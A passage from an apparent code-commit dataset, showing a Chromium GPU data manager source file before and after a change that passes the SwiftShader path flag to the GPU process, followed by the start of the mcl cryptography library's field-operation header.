command_line->AppendSwitch(switches::kDisableAccelerated2dCanvas);\n}\n\nvoid GpuDataManagerImpl::AppendGpuCommandLine(\n    CommandLine* command_line) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n  DCHECK(command_line);\n\n  std::string use_gl =\n      CommandLine::ForCurrentProcess()->GetSwitchValueASCII(switches::kUseGL);\n  uint32 flags = GetGpuFeatureType();\n  if ((flags & content::GPU_FEATURE_TYPE_MULTISAMPLING) &&\n      !command_line->HasSwitch(switches::kDisableGLMultisampling))\n    command_line->AppendSwitch(switches::kDisableGLMultisampling);\n\n  if (software_rendering_) {\n    command_line->AppendSwitchASCII(switches::kUseGL, \"swiftshader\");\n    command_line->AppendSwitchPath(switches::kSwiftShaderPath,\n                                   swiftshader_path_);\n  } else if ((flags & (content::GPU_FEATURE_TYPE_WEBGL |\n                content::GPU_FEATURE_TYPE_ACCELERATED_COMPOSITING |\n                content::GPU_FEATURE_TYPE_ACCELERATED_2D_CANVAS)) &&\n      (use_gl == \"any\")) {\n    command_line->AppendSwitchASCII(\n        switches::kUseGL, gfx::kGLImplementationOSMesaName);\n  } else if (!use_gl.empty()) {\n    command_line->AppendSwitchASCII(switches::kUseGL, use_gl);\n  }\n\n  {\n    base::AutoLock auto_lock(gpu_info_lock_);\n    if (gpu_info_.optimus)\n      command_line->AppendSwitch(switches::kReduceGpuSandbox);\n  }\n}\n\nvoid GpuDataManagerImpl::SetGpuFeatureType(GpuFeatureType feature_type) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  UpdateGpuFeatureType(feature_type);\n  preliminary_gpu_feature_type_ = gpu_feature_type_;\n}\n\nvoid GpuDataManagerImpl::HandleGpuSwitch() {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  content::GPUInfo gpu_info;\n  gpu_info_collector::CollectVideoCardInfo(&gpu_info);\n  LOG(INFO) << \"Switching to use GPU: vendor_id = 0x\"\n            << base::StringPrintf(\"%04x\", gpu_info.vendor_id)\n            << \", device_id = 0x\"\n            << base::StringPrintf(\"%04x\", gpu_info.device_id);\n  \/\/ TODO(zmo): update gpu_info_, re-run blacklist logic, maybe close and\n  \/\/ relaunch GPU process.\n}\n\nvoid GpuDataManagerImpl::NotifyGpuInfoUpdate() {\n  observer_list_->Notify(&GpuDataManagerObserver::OnGpuInfoUpdate);\n}\n\nvoid GpuDataManagerImpl::UpdateGpuFeatureType(\n    GpuFeatureType embedder_feature_type) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n  CommandLine* command_line = CommandLine::ForCurrentProcess();\n  int flags = embedder_feature_type;\n\n  \/\/ Force disable using the GPU for these features, even if they would\n  \/\/ otherwise be allowed.\n  if (card_blacklisted_ ||\n      command_line->HasSwitch(switches::kBlacklistAcceleratedCompositing)) {\n    flags |= content::GPU_FEATURE_TYPE_ACCELERATED_COMPOSITING;\n  }\n  if (card_blacklisted_ ||\n      command_line->HasSwitch(switches::kBlacklistWebGL)) {\n    flags |= content::GPU_FEATURE_TYPE_WEBGL;\n  }\n  gpu_feature_type_ = static_cast<GpuFeatureType>(flags);\n\n  EnableSoftwareRenderingIfNecessary();\n}\n\nvoid GpuDataManagerImpl::RegisterSwiftShaderPath(const FilePath& path) {\n  swiftshader_path_ = path;\n  EnableSoftwareRenderingIfNecessary();\n}\n\nconst base::ListValue& GpuDataManagerImpl::GetLogMessages() const {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  return log_messages_;\n}\n\nvoid GpuDataManagerImpl::EnableSoftwareRenderingIfNecessary() {\n  if (!GpuAccessAllowed() ||\n      (gpu_feature_type_ & content::GPU_FEATURE_TYPE_WEBGL)) {\n#if defined(ENABLE_SWIFTSHADER)\n    if (!swiftshader_path_.empty() &&\n        !CommandLine::ForCurrentProcess()->HasSwitch(\n             switches::kDisableSoftwareRasterizer))\n      software_rendering_ = true;\n#endif\n  }\n}\n\nbool GpuDataManagerImpl::ShouldUseSoftwareRendering() {\n  return software_rendering_;\n}\n\nvoid GpuDataManagerImpl::BlacklistCard() {\n  card_blacklisted_ = true;\n\n  {\n    base::AutoLock auto_lock(gpu_info_lock_);\n    int flags = gpu_feature_type_;\n    flags |= content::GPU_FEATURE_TYPE_ACCELERATED_COMPOSITING |\n             content::GPU_FEATURE_TYPE_WEBGL;\n    gpu_feature_type_ = static_cast<GpuFeatureType>(flags);\n  }\n\n  EnableSoftwareRenderingIfNecessary();\n  NotifyGpuInfoUpdate();\n}\n\nbool GpuDataManagerImpl::Merge(content::GPUInfo* object,\n                               const content::GPUInfo& other) {\n  if (object->device_id != other.device_id ||\n      object->vendor_id != other.vendor_id) {\n    *object = other;\n    return true;\n  }\n\n  bool changed = false;\n  if (!object->finalized) {\n    object->finalized = other.finalized;\n    object->initialization_time = other.initialization_time;\n    object->optimus |= other.optimus;\n\n    if (object->driver_vendor.empty()) {\n      changed |= object->driver_vendor != other.driver_vendor;\n      object->driver_vendor = other.driver_vendor;\n    }\n    if (object->driver_version.empty()) {\n      changed |= object->driver_version != other.driver_version;\n      object->driver_version = other.driver_version;\n    }\n    if (object->driver_date.empty()) {\n      changed |= object->driver_date != other.driver_date;\n      object->driver_date = other.driver_date;\n    }\n    if (object->pixel_shader_version.empty()) {\n      changed |= object->pixel_shader_version != other.pixel_shader_version;\n      object->pixel_shader_version = other.pixel_shader_version;\n    }\n    if (object->vertex_shader_version.empty()) {\n      changed |= object->vertex_shader_version != other.vertex_shader_version;\n      object->vertex_shader_version = other.vertex_shader_version;\n    }\n    if (object->gl_version.empty()) {\n      changed |= object->gl_version != other.gl_version;\n      object->gl_version = other.gl_version;\n    }\n    if (object->gl_version_string.empty()) {\n      changed |= object->gl_version_string != other.gl_version_string;\n      object->gl_version_string = other.gl_version_string;\n    }\n    if (object->gl_vendor.empty()) {\n      changed |= object->gl_vendor != other.gl_vendor;\n      object->gl_vendor = other.gl_vendor;\n    }\n    if (object->gl_renderer.empty()) {\n      changed |= object->gl_renderer != other.gl_renderer;\n      object->gl_renderer = other.gl_renderer;\n    }\n    if (object->gl_extensions.empty()) {\n      changed |= object->gl_extensions != other.gl_extensions;\n      object->gl_extensions = other.gl_extensions;\n    }\n    object->can_lose_context = other.can_lose_context;\n    object->software_rendering = other.software_rendering;\n#if defined(OS_WIN)\n    if (object->dx_diagnostics.values.size() == 0 &&\n        object->dx_diagnostics.children.size() == 0) {\n      object->dx_diagnostics = other.dx_diagnostics;\n      changed = true;\n    }\n#endif\n  }\n  return changed;\n}\n<commit_msg>Pass swiftshader-path flag down to GPU process<commit_after>\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"content\/browser\/gpu\/gpu_data_manager_impl.h\"\n\n#if defined(OS_MACOSX)\n#include <CoreGraphics\/CGDisplayConfiguration.h>\n#endif\n\n#include \"base\/bind.h\"\n#include \"base\/bind_helpers.h\"\n#include \"base\/command_line.h\"\n#include \"base\/file_util.h\"\n#include \"base\/string_number_conversions.h\"\n#include \"base\/stringprintf.h\"\n#include \"base\/sys_info.h\"\n#include \"base\/values.h\"\n#include \"base\/version.h\"\n#include \"content\/browser\/gpu\/gpu_process_host.h\"\n#include \"content\/common\/gpu\/gpu_messages.h\"\n#include \"content\/gpu\/gpu_info_collector.h\"\n#include \"content\/public\/browser\/browser_thread.h\"\n#include \"content\/public\/browser\/gpu_data_manager_observer.h\"\n#include \"content\/public\/common\/content_client.h\"\n#include \"content\/public\/common\/content_switches.h\"\n#include \"ui\/gfx\/gl\/gl_implementation.h\"\n#include \"ui\/gfx\/gl\/gl_switches.h\"\n#include \"webkit\/plugins\/plugin_switches.h\"\n\nusing content::BrowserThread;\nusing content::GpuDataManagerObserver;\nusing content::GpuFeatureType;\n\nnamespace {\n\n#if defined(OS_MACOSX)\nvoid DisplayReconfigCallback(CGDirectDisplayID display,\n                             CGDisplayChangeSummaryFlags flags,\n                             void* gpu_data_manager) {\n  \/\/ TODO(zmo): this logging is temporary for crbug 88008 and will be removed.\n  LOG(INFO) << \"Display re-configuration: flags = 0x\"\n            << base::StringPrintf(\"%04x\", flags);\n  if (flags & kCGDisplayAddFlag) {\n    GpuDataManagerImpl* manager =\n        reinterpret_cast<GpuDataManagerImpl*>(gpu_data_manager);\n    DCHECK(manager);\n    manager->HandleGpuSwitch();\n  }\n}\n#endif\n\n}  \/\/ namespace anonymous\n\n\/\/ static\ncontent::GpuDataManager* content::GpuDataManager::GetInstance() {\n  return GpuDataManagerImpl::GetInstance();\n}\n\n\/\/ static\nGpuDataManagerImpl* GpuDataManagerImpl::GetInstance() {\n  return Singleton<GpuDataManagerImpl>::get();\n}\n\nGpuDataManagerImpl::GpuDataManagerImpl()\n    : complete_gpu_info_already_requested_(false),\n      complete_gpu_info_available_(false),\n      gpu_feature_type_(content::GPU_FEATURE_TYPE_UNKNOWN),\n      preliminary_gpu_feature_type_(content::GPU_FEATURE_TYPE_UNKNOWN),\n      observer_list_(new GpuDataManagerObserverList),\n      software_rendering_(false),\n      card_blacklisted_(false) {\n  Initialize();\n}\n\nvoid GpuDataManagerImpl::Initialize() {\n  CommandLine* command_line = CommandLine::ForCurrentProcess();\n  if (command_line->HasSwitch(switches::kDisableAcceleratedCompositing)) {\n    command_line->AppendSwitch(switches::kDisableAccelerated2dCanvas);\n    command_line->AppendSwitch(switches::kDisableAcceleratedLayers);\n  }\n\n  if (!command_line->HasSwitch(switches::kSkipGpuDataLoading)) {\n    content::GPUInfo gpu_info;\n    gpu_info_collector::CollectPreliminaryGraphicsInfo(&gpu_info);\n    {\n      base::AutoLock auto_lock(gpu_info_lock_);\n      gpu_info_ = gpu_info;\n    }\n  }\n\n#if defined(OS_MACOSX)\n  CGDisplayRegisterReconfigurationCallback(DisplayReconfigCallback, this);\n#endif\n}\n\nGpuDataManagerImpl::~GpuDataManagerImpl() {\n#if defined(OS_MACOSX)\n  CGDisplayRemoveReconfigurationCallback(DisplayReconfigCallback, this);\n#endif\n}\n\nvoid GpuDataManagerImpl::RequestCompleteGpuInfoIfNeeded() {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n  if (complete_gpu_info_already_requested_ || complete_gpu_info_available_)\n    return;\n  complete_gpu_info_already_requested_ = true;\n\n  GpuProcessHost::SendOnIO(\n      GpuProcessHost::GPU_PROCESS_KIND_UNSANDBOXED,\n      content::CAUSE_FOR_GPU_LAUNCH_GPUDATAMANAGER_REQUESTCOMPLETEGPUINFOIFNEEDED,\n      new GpuMsg_CollectGraphicsInfo());\n}\n\nbool GpuDataManagerImpl::IsCompleteGPUInfoAvailable() const {\n  return complete_gpu_info_available_;\n}\n\nvoid GpuDataManagerImpl::UpdateGpuInfo(const content::GPUInfo& gpu_info) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n  complete_gpu_info_available_ =\n      complete_gpu_info_available_ || gpu_info.finalized;\n  complete_gpu_info_already_requested_ =\n      complete_gpu_info_already_requested_ || gpu_info.finalized;\n  {\n    base::AutoLock auto_lock(gpu_info_lock_);\n    if (!Merge(&gpu_info_, gpu_info))\n      return;\n    content::GetContentClient()->SetGpuInfo(gpu_info_);\n  }\n\n  \/\/ We have to update GpuFeatureType before notify all the observers.\n  NotifyGpuInfoUpdate();\n}\n\ncontent::GPUInfo GpuDataManagerImpl::GetGPUInfo() const {\n  return gpu_info_;\n}\n\nvoid GpuDataManagerImpl::AddLogMessage(Value* msg) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  log_messages_.Append(msg);\n}\n\nGpuFeatureType GpuDataManagerImpl::GetGpuFeatureType() {\n  if (software_rendering_) {\n    GpuFeatureType flags;\n\n    \/\/ Skia's software rendering is probably more efficient than going through\n    \/\/ software emulation of the GPU, so use that.\n    flags = content::GPU_FEATURE_TYPE_ACCELERATED_2D_CANVAS;\n    return flags;\n  }\n\n  return gpu_feature_type_;\n}\n\nbool GpuDataManagerImpl::GpuAccessAllowed() {\n  if (software_rendering_)\n    return true;\n\n  \/\/ We only need to block GPU process if more features are disallowed other\n  \/\/ than those in the preliminary gpu feature flags because the latter work\n  \/\/ through renderer commandline switches.\n  uint32 mask = ~(preliminary_gpu_feature_type_);\n  return (gpu_feature_type_ & mask) == 0;\n}\n\nvoid GpuDataManagerImpl::AddObserver(GpuDataManagerObserver* observer) {\n  observer_list_->AddObserver(observer);\n}\n\nvoid GpuDataManagerImpl::RemoveObserver(GpuDataManagerObserver* observer) {\n  observer_list_->RemoveObserver(observer);\n}\n\nvoid GpuDataManagerImpl::AppendRendererCommandLine(\n    CommandLine* command_line) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  DCHECK(command_line);\n\n  uint32 flags = GetGpuFeatureType();\n  if ((flags & content::GPU_FEATURE_TYPE_WEBGL)) {\n    if (!command_line->HasSwitch(switches::kDisableExperimentalWebGL))\n      command_line->AppendSwitch(switches::kDisableExperimentalWebGL);\n    if (!command_line->HasSwitch(switches::kDisablePepper3dForUntrustedUse))\n      command_line->AppendSwitch(switches::kDisablePepper3dForUntrustedUse);\n  }\n  if ((flags & content::GPU_FEATURE_TYPE_MULTISAMPLING) &&\n      !command_line->HasSwitch(switches::kDisableGLMultisampling))\n    command_line->AppendSwitch(switches::kDisableGLMultisampling);\n  if ((flags & content::GPU_FEATURE_TYPE_ACCELERATED_COMPOSITING) &&\n      !command_line->HasSwitch(switches::kDisableAcceleratedCompositing))\n    command_line->AppendSwitch(switches::kDisableAcceleratedCompositing);\n  if ((flags & content::GPU_FEATURE_TYPE_ACCELERATED_2D_CANVAS) &&\n      !command_line->HasSwitch(switches::kDisableAccelerated2dCanvas))\n    command_line->AppendSwitch(switches::kDisableAccelerated2dCanvas);\n}\n\nvoid GpuDataManagerImpl::AppendGpuCommandLine(\n    CommandLine* command_line) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::IO));\n  DCHECK(command_line);\n\n  std::string use_gl =\n      CommandLine::ForCurrentProcess()->GetSwitchValueASCII(switches::kUseGL);\n  FilePath swiftshader_path =\n      CommandLine::ForCurrentProcess()->GetSwitchValuePath(\n          switches::kSwiftShaderPath);\n  uint32 flags = GetGpuFeatureType();\n  if ((flags & content::GPU_FEATURE_TYPE_MULTISAMPLING) &&\n      !command_line->HasSwitch(switches::kDisableGLMultisampling))\n    command_line->AppendSwitch(switches::kDisableGLMultisampling);\n\n  if (software_rendering_) {\n    command_line->AppendSwitchASCII(switches::kUseGL, \"swiftshader\");\n    if (swiftshader_path.empty())\n      swiftshader_path = swiftshader_path_;\n  } else if ((flags & (content::GPU_FEATURE_TYPE_WEBGL |\n                content::GPU_FEATURE_TYPE_ACCELERATED_COMPOSITING |\n                content::GPU_FEATURE_TYPE_ACCELERATED_2D_CANVAS)) &&\n      (use_gl == \"any\")) {\n    command_line->AppendSwitchASCII(\n        switches::kUseGL, gfx::kGLImplementationOSMesaName);\n  } else if (!use_gl.empty()) {\n    command_line->AppendSwitchASCII(switches::kUseGL, use_gl);\n  }\n\n  if (!swiftshader_path.empty())\n    command_line->AppendSwitchPath(switches::kSwiftShaderPath,\n                                   swiftshader_path);\n\n  {\n    base::AutoLock auto_lock(gpu_info_lock_);\n    if (gpu_info_.optimus)\n      command_line->AppendSwitch(switches::kReduceGpuSandbox);\n  }\n}\n\nvoid GpuDataManagerImpl::SetGpuFeatureType(GpuFeatureType feature_type) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  UpdateGpuFeatureType(feature_type);\n  preliminary_gpu_feature_type_ = gpu_feature_type_;\n}\n\nvoid GpuDataManagerImpl::HandleGpuSwitch() {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  content::GPUInfo gpu_info;\n  gpu_info_collector::CollectVideoCardInfo(&gpu_info);\n  LOG(INFO) << \"Switching to use GPU: vendor_id = 0x\"\n            << base::StringPrintf(\"%04x\", gpu_info.vendor_id)\n            << \", device_id = 0x\"\n            << base::StringPrintf(\"%04x\", gpu_info.device_id);\n  \/\/ TODO(zmo): update gpu_info_, re-run blacklist logic, maybe close and\n  \/\/ relaunch GPU process.\n}\n\nvoid GpuDataManagerImpl::NotifyGpuInfoUpdate() {\n  observer_list_->Notify(&GpuDataManagerObserver::OnGpuInfoUpdate);\n}\n\nvoid GpuDataManagerImpl::UpdateGpuFeatureType(\n    GpuFeatureType embedder_feature_type) {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n\n  CommandLine* command_line = CommandLine::ForCurrentProcess();\n  int flags = embedder_feature_type;\n\n  \/\/ Force disable using the GPU for these features, even if they would\n  \/\/ otherwise be allowed.\n  if (card_blacklisted_ ||\n      command_line->HasSwitch(switches::kBlacklistAcceleratedCompositing)) {\n    flags |= content::GPU_FEATURE_TYPE_ACCELERATED_COMPOSITING;\n  }\n  if (card_blacklisted_ ||\n      command_line->HasSwitch(switches::kBlacklistWebGL)) {\n    flags |= content::GPU_FEATURE_TYPE_WEBGL;\n  }\n  gpu_feature_type_ = static_cast<GpuFeatureType>(flags);\n\n  EnableSoftwareRenderingIfNecessary();\n}\n\nvoid GpuDataManagerImpl::RegisterSwiftShaderPath(const FilePath& path) {\n  swiftshader_path_ = path;\n  EnableSoftwareRenderingIfNecessary();\n}\n\nconst base::ListValue& GpuDataManagerImpl::GetLogMessages() const {\n  DCHECK(BrowserThread::CurrentlyOn(BrowserThread::UI));\n  return log_messages_;\n}\n\nvoid GpuDataManagerImpl::EnableSoftwareRenderingIfNecessary() {\n  if (!GpuAccessAllowed() ||\n      (gpu_feature_type_ & content::GPU_FEATURE_TYPE_WEBGL)) {\n#if defined(ENABLE_SWIFTSHADER)\n    if (!swiftshader_path_.empty() &&\n        !CommandLine::ForCurrentProcess()->HasSwitch(\n             switches::kDisableSoftwareRasterizer))\n      software_rendering_ = true;\n#endif\n  }\n}\n\nbool GpuDataManagerImpl::ShouldUseSoftwareRendering() {\n  return software_rendering_;\n}\n\nvoid GpuDataManagerImpl::BlacklistCard() {\n  card_blacklisted_ = true;\n\n  {\n    base::AutoLock auto_lock(gpu_info_lock_);\n    int flags = gpu_feature_type_;\n    flags |= content::GPU_FEATURE_TYPE_ACCELERATED_COMPOSITING |\n             content::GPU_FEATURE_TYPE_WEBGL;\n    gpu_feature_type_ = static_cast<GpuFeatureType>(flags);\n  }\n\n  EnableSoftwareRenderingIfNecessary();\n  NotifyGpuInfoUpdate();\n}\n\nbool GpuDataManagerImpl::Merge(content::GPUInfo* object,\n                               const content::GPUInfo& other) {\n  if (object->device_id != other.device_id ||\n      object->vendor_id != other.vendor_id) {\n    *object = other;\n    return true;\n  }\n\n  bool changed = false;\n  if (!object->finalized) {\n    object->finalized = other.finalized;\n    object->initialization_time = other.initialization_time;\n    object->optimus |= other.optimus;\n\n    if (object->driver_vendor.empty()) {\n      changed |= object->driver_vendor != other.driver_vendor;\n      object->driver_vendor = other.driver_vendor;\n    }\n    if (object->driver_version.empty()) {\n      changed |= object->driver_version != other.driver_version;\n      object->driver_version = other.driver_version;\n    }\n    if (object->driver_date.empty()) {\n      changed |= object->driver_date != other.driver_date;\n      object->driver_date = other.driver_date;\n    }\n    if (object->pixel_shader_version.empty()) {\n      changed |= object->pixel_shader_version != other.pixel_shader_version;\n      object->pixel_shader_version = other.pixel_shader_version;\n    }\n    if (object->vertex_shader_version.empty()) {\n      changed |= object->vertex_shader_version != other.vertex_shader_version;\n      object->vertex_shader_version = other.vertex_shader_version;\n    }\n    if (object->gl_version.empty()) {\n      changed |= object->gl_version != other.gl_version;\n      object->gl_version = other.gl_version;\n    }\n    if (object->gl_version_string.empty()) {\n      changed |= object->gl_version_string != other.gl_version_string;\n      object->gl_version_string = other.gl_version_string;\n    }\n    if (object->gl_vendor.empty()) {\n      changed |= object->gl_vendor != other.gl_vendor;\n      object->gl_vendor = other.gl_vendor;\n    }\n    if (object->gl_renderer.empty()) {\n      changed |= object->gl_renderer != other.gl_renderer;\n      object->gl_renderer = other.gl_renderer;\n    }\n    if (object->gl_extensions.empty()) {\n      changed |= object->gl_extensions != other.gl_extensions;\n      object->gl_extensions = other.gl_extensions;\n    }\n    object->can_lose_context = other.can_lose_context;\n    object->software_rendering = other.software_rendering;\n#if defined(OS_WIN)\n    if (object->dx_diagnostics.values.size() == 0 &&\n        object->dx_diagnostics.children.size() == 0) {\n      object->dx_diagnostics = other.dx_diagnostics;\n      changed = true;\n    }\n#endif\n  }\n  return changed;\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\/**\n\t@file\n\t@brief definition of Op\n\t@author MITSUNARI Shigeo(@herumi)\n\t@license modified new BSD license\n\thttp:\/\/opensource.org\/licenses\/BSD-3-Clause\n*\/\n#include <mcl\/gmp_util.hpp>\n#include <memory.h>\n#include <mcl\/array.hpp>\n\n#if defined(__EMSCRIPTEN__) || defined(__wasm__)\n\t#define MCL_DONT_USE_XBYAK\n\t#define MCL_DONT_USE_OPENSSL\n#endif\n#if !defined(MCL_DONT_USE_XBYAK) && (defined(_WIN64) || defined(__x86_64__)) && (MCL_SIZEOF_UNIT == 8)\n\t#define MCL_USE_XBYAK\n\t#define MCL_XBYAK_DIRECT_CALL\n#endif\n\n#define MCL_MAX_HASH_BIT_SIZE 512\n\nnamespace mcl {\n\nstatic const int version = 0x096; \/* 0xABC = A.BC *\/\n\n\/*\n\tspecifies available string format mode for X::setIoMode()\n\t\/\/ for Fp, Fp2, Fp6, Fp12\n\tdefault(0) : IoDec\n\tprintable string(zero terminated, variable size)\n\tIoBin(2) | IoDec(10) | IoHex(16) | IoBinPrefix | IoHexPrefix\n\n\tbyte string(not zero terminated, fixed size)\n\tIoArray | IoArrayRaw\n\tIoArray = IoSerialize\n\n\t\/\/ for Ec\n\taffine(0) | IoEcCompY | IoComp\n\tdefault : affine\n\n\taffine and IoEcCompY are available with ioMode for Fp\n\tIoSerialize ignores ioMode for Fp\n\n\tIoAuto\n\t\tdec or hex according to ios_base::fmtflags\n\tIoBin\n\t\tbinary number([01]+)\n\tIoDec\n\t\tdecimal number\n\tIoHex\n\t\thexadecimal number([0-9a-fA-F]+)\n\tIoBinPrefix\n\t\t0b + <binary number>\n\tIoHexPrefix\n\t\t0x + <hexadecimal number>\n\tIoArray\n\t\tarray of Unit(fixed size = Fp::getByteSize())\n\tIoArrayRaw\n\t\tarray of Unit(fixed size = Fp::getByteSize()) without Montgomery conversion\n\n\t\/\/ for Ec::setIoMode()\n\tIoEcAffine(default)\n\t\"0\" ; infinity\n\t\"1 <x> <y>\" ; affine coordinate\n\n\tIoEcProj\n\t\"4\" <x> <y> <z> ; projective or jacobi coordinate\n\n\tIoEcCompY\n\t\t1-bit y prepresentation of elliptic curve\n\t\t\"2 <x>\" ; compressed for even y\n\t\t\"3 <x>\" ; compressed for odd y\n\n\tIoSerialize\n\t\tif isMSBserialize(): \/\/ p is not full bit\n\t\t\tsize = Fp::getByteSize()\n\t\t\tuse MSB of array of x for 1-bit y for prime p where (p % 8 != 0)\n\t\t\t[0] ; infinity\n\t\t\t<x> ; for even y\n\t\t\t<x>|1 ; for odd y ; |1 means set MSB of x\n\t\telse:\n\t\t\tsize = Fp::getByteSize() + 1\n\t\t\t[0] ; infinity\n\t\t\t2 <x> ; for even y\n\t\t\t3 <x> ; for odd y\n*\/\nenum IoMode {\n\tIoAuto = 0, \/\/ dec or hex according to ios_base::fmtflags\n\tIoBin = 2, \/\/ binary number without prefix\n\tIoDec = 10, \/\/ decimal number without prefix\n\tIoHex = 16, \/\/ hexadecimal number without prefix\n\tIoArray = 32, \/\/ array of Unit(fixed size)\n\tIoArrayRaw = 64, \/\/ raw array of Unit without Montgomery conversion\n\tIoPrefix = 128, \/\/ append '0b'(bin) or '0x'(hex)\n\tIoBinPrefix = IoBin | IoPrefix,\n\tIoHexPrefix = IoHex | IoPrefix,\n\tIoEcAffine = 0, \/\/ affine coordinate\n\tIoEcCompY = 256, \/\/ 1-bit y representation of elliptic curve\n\tIoSerialize = 512, \/\/ use MBS for 1-bit y\n\tIoFixedSizeByteSeq = IoSerialize, \/\/ obsolete\n\tIoEcProj = 1024, \/\/ projective or jacobi coordinate\n\tIoSerializeHexStr = 2048 \/\/ printable hex string\n};\n\nnamespace fp {\n\nconst size_t UnitBitSize = sizeof(Unit) * 8;\n\nconst size_t maxUnitSize = (MCL_MAX_BIT_SIZE + UnitBitSize - 1) \/ UnitBitSize;\n#define MCL_MAX_UNIT_SIZE ((MCL_MAX_BIT_SIZE + MCL_UNIT_BIT_SIZE - 1) \/ MCL_UNIT_BIT_SIZE)\n\nstruct FpGenerator;\nstruct Op;\n\ntypedef void (*void1u)(Unit*);\ntypedef void (*void2u)(Unit*, const Unit*);\ntypedef void (*void2uI)(Unit*, const Unit*, Unit);\ntypedef void (*void2uIu)(Unit*, const Unit*, Unit, const Unit*);\ntypedef void (*void2uOp)(Unit*, const Unit*, const Op&);\ntypedef void (*void3u)(Unit*, const Unit*, const Unit*);\ntypedef void (*void4u)(Unit*, const Unit*, const Unit*, const Unit*);\ntypedef int (*int2u)(Unit*, const Unit*);\n\ntypedef Unit (*u1uII)(Unit*, Unit, Unit);\ntypedef Unit (*u3u)(Unit*, const Unit*, const Unit*);\n\n\/*\n\tdisable -Wcast-function-type\n\tthe number of arguments of some JIT functions is smaller than that of T\n*\/\ntemplate<class T, class S>\nT func_ptr_cast(S func)\n{\n\treturn reinterpret_cast<T>(reinterpret_cast<void*>(func));\n}\nstruct Block {\n\tconst Unit *p; \/\/ pointer to original FpT.v_\n\tsize_t n;\n\tUnit v_[maxUnitSize];\n};\n\nenum Mode {\n\tFP_AUTO,\n\tFP_GMP,\n\tFP_GMP_MONT,\n\tFP_LLVM,\n\tFP_LLVM_MONT,\n\tFP_XBYAK\n};\n\nenum PrimeMode {\n\tPM_GENERIC = 0,\n\tPM_NIST_P192,\n\tPM_SECP256K1,\n\tPM_NIST_P521\n};\n\nenum MaskMode {\n\tNoMask = 0, \/\/ throw if greater or equal\n\tSmallMask = 1, \/\/ 1-bit smaller mask if greater or equal\n\tMaskAndMod = 2, \/\/ mask and substract if greater or equal\n\tMod = 3 \/\/ mod p\n};\n\nstruct Op {\n\t\/*\n\t\tdon't change the layout of rp and p\n\t\tasm code assumes &rp + 1 == p\n\t*\/\n\tUnit rp;\n\tUnit p[maxUnitSize];\n\tmpz_class mp;\n\tuint32_t pmod4;\n\tmcl::SquareRoot sq;\n\tmcl::Modp modp;\n\tUnit half[maxUnitSize]; \/\/ (p + 1) \/ 2\n\tUnit oneRep[maxUnitSize]; \/\/ 1(=inv R if Montgomery)\n\t\/*\n\t\tfor Montgomery\n\t\tone = 1\n\t\tR = (1 << (N * sizeof(Unit) * 8)) % p\n\t\tR2 = (R * R) % p\n\t\tR3 = RR^3\n\t*\/\n\tUnit one[maxUnitSize];\n\tUnit R2[maxUnitSize];\n\tUnit R3[maxUnitSize];\n#ifdef MCL_USE_XBYAK\n\tFpGenerator *fg;\n\tmcl::Array<Unit> invTbl;\n#endif\n\tvoid3u fp_addA_;\n\tvoid3u fp_subA_;\n\tvoid2u fp_negA_;\n\tvoid3u fp_mulA_;\n\tvoid2u fp_sqrA_;\n\tvoid3u fp2_addA_;\n\tvoid3u fp2_subA_;\n\tvoid2u fp2_negA_;\n\tvoid3u fp2_mulA_;\n\tvoid2u fp2_sqrA_;\n\tvoid3u fpDbl_addA_;\n\tvoid3u fpDbl_subA_;\n\tvoid3u fpDbl_mulPreA_;\n\tvoid2u fpDbl_sqrPreA_;\n\tvoid2u fpDbl_modA_;\n\tvoid3u fp2Dbl_mulPreA_;\n\tvoid2u fp2Dbl_sqrPreA_;\n\tsize_t maxN;\n\tsize_t N;\n\tsize_t bitSize;\n\tbool (*fp_isZero)(const Unit*);\n\tvoid1u fp_clear;\n\tvoid2u fp_copy;\n\tvoid2u fp_shr1;\n\tvoid3u fp_neg;\n\tvoid4u fp_add;\n\tvoid4u fp_sub;\n\tvoid4u fp_mul;\n\tvoid3u fp_sqr;\n\tvoid2uOp fp_invOp;\n\tvoid2uIu fp_mulUnit; \/\/ fpN1_mod + fp_mulUnitPre\n\n\tvoid3u fpDbl_mulPre;\n\tvoid2u fpDbl_sqrPre;\n\tint2u fp_preInv;\n\tvoid2uI fp_mulUnitPre; \/\/ z[N + 1] = x[N] * y\n\tvoid3u fpN1_mod; \/\/ y[N] = x[N + 1] % p[N]\n\n\tvoid4u fpDbl_add;\n\tvoid4u fpDbl_sub;\n\tvoid3u fpDbl_mod;\n\n\tu3u fp_addPre; \/\/ without modulo p\n\tu3u fp_subPre; \/\/ without modulo p\n\tu3u fpDbl_addPre;\n\tu3u fpDbl_subPre;\n\t\/*\n\t\tfor Fp2 = F[u] \/ (u^2 + 1)\n\t\tx = a + bu\n\t*\/\n\tint xi_a; \/\/ xi = xi_a + u\n\tvoid4u fp2_mulNF;\n\tvoid2u fp2_inv;\n\tvoid2u fp2_mul_xiA_;\n\tuint32_t (*hash)(void *out, uint32_t maxOutSize, const void *msg, uint32_t msgSize);\n\n\tPrimeMode primeMode;\n\tbool isFullBit; \/\/ true if bitSize % uniSize == 0\n\tbool isMont; \/\/ true if use Montgomery\n\tbool isFastMod; \/\/ true if modulo is fast\n\n\tOp()\n\t{\n\t\tclear();\n\t}\n\t~Op()\n\t{\n#ifdef MCL_USE_XBYAK\n\t\tdestroyFpGenerator(fg);\n#endif\n\t}\n\tvoid clear()\n\t{\n\t\trp = 0;\n\t\tmemset(p, 0, sizeof(p));\n\t\tmp = 0;\n\t\tpmod4 = 0;\n\t\tsq.clear();\n\t\t\/\/ fg is not 